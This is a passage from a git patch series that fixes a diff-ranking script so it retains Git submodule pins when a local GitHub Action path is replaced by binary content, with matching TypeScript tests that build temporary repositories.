+740,65 @@ describe("diff rank input", () => { ]); }); + test.each(["revisions", "local-patch"] as const)( + "preserves both sides of local-action type transitions (%s)", + async (mode) => { + const fixture = await createRepository(); + const action = ".github/actions/local"; + const actionPath = join(fixture.repository, action); + await writeRepositoryFile( + fixture.repository, + action, + "runs: previous action definition\n", + ); + git(fixture.repository, "add", action); + git(fixture.repository, "commit", "-qm", "add local action file"); + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + const pin = fixture.base; + git(fixture.repository, "rm", "--cached", "--quiet", "--", action); + await rm(actionPath); + await mkdir(actionPath); + git( + fixture.repository, + "update-index", + "--add", + "--cacheinfo", + `160000,${pin},${action}`, + ); + if (mode === "revisions") { + git(fixture.repository, "commit", "-qm", "replace action with gitlink"); + } + + const [pinned] = await runDiffRankInput(fixture, mode); + expect(pinned?.preview).toContain("runs: previous action definition"); + expect(pinned?.preview).toContain(`Git submodule commit ${pin}`); + + if (mode === "local-patch") { + git(fixture.repository, "commit", "-qm", "replace action with gitlink"); + } + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + git(fixture.repository, "rm", "--cached", "--quiet", "--", action); + await rm(actionPath, { recursive: true }); + await writeRepositoryFile( + fixture.repository, + action, + "runs: replacement action definition\n", + ); + git(fixture.repository, "add", action); + if (mode === "revisions") { + git(fixture.repository, "commit", "-qm", "replace gitlink with action"); + } + + const [replacement] = await runDiffRankInput(fixture, mode); + expect(replacement?.preview).toContain( + `Previous Git submodule commit ${pin}`, + ); + expect(replacement?.preview).toContain( + "runs: replacement action definition", + ); + }, + ); + test("records every unresolved local-action submodule pin", async () => { const fixture = await createRepository(); const action = ".github/actions/[local]"; From 3c5da97669d63bf3f6ef2e5d279eb4457e7e0a4c Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 10 Aug 2026 23:10:55 -0700 Subject: [PATCH 46/46] fix(diff): retain submodule pins for binary replacements --- .../scripts/generate_rank_input.py | 16 ++++++++++------ sdk/typescript/tests-ts/diff-rank-input.test.ts | 14 ++++++++++++++ 2 files changed, 24 insertions(+), 6 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 02f91baf..553cc57c 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -1114,11 +1114,6 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: repo, path, reject_hard_links=args.mode == "local-patch" ) base_entry = git_diff_entry(repo, path, "revisions", args.base) - if base_entry is not None and base_entry[0] == "160000": - preview = fit_preview_lines( - [f"Previous Git submodule commit {base_entry[1]}", preview], - args.preview_bytes, - ) changes: list[str] = [] if ( base_entry is not None @@ -1137,9 +1132,18 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: if index == 0 or mode != modes[index - 1] ] if is_binary: - if len(changes) <= 1 and (entry is None or entry[0] != "100755"): + if ( + len(changes) <= 1 + and (entry is None or entry[0] != "100755") + and (base_entry is None or base_entry[0] != "160000") + ): continue preview = "(binary content)" + if base_entry is not None and base_entry[0] == "160000": + preview = fit_preview_lines( + [f"Previous Git submodule commit {base_entry[1]}", preview], + args.preview_bytes, + ) if len(changes) > 1: preview = fit_preview_lines( [f"Git file mode: {' → '.join(changes)}", preview], diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 96ba81b1..f0825921 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -796,6 +796,20 @@ describe("diff rank input", () => { expect(replacement?.preview).toContain( "runs: replacement action definition", ); + + await writeRepositoryFile( + fixture.repository, + action, + Uint8Array.from([0, 1, 2]), + ); + git(fixture.repository, "add", action); + if (mode === "revisions") { + git(fixture.repository, "commit", "-qm", "replace action with binary"); + } + + const [binary] = await runDiffRankInput(fixture, mode); + expect(binary?.preview).toContain(`Previous Git submodule commit ${pin}`); + expect(binary?.preview).toContain("(binary content)"); }, );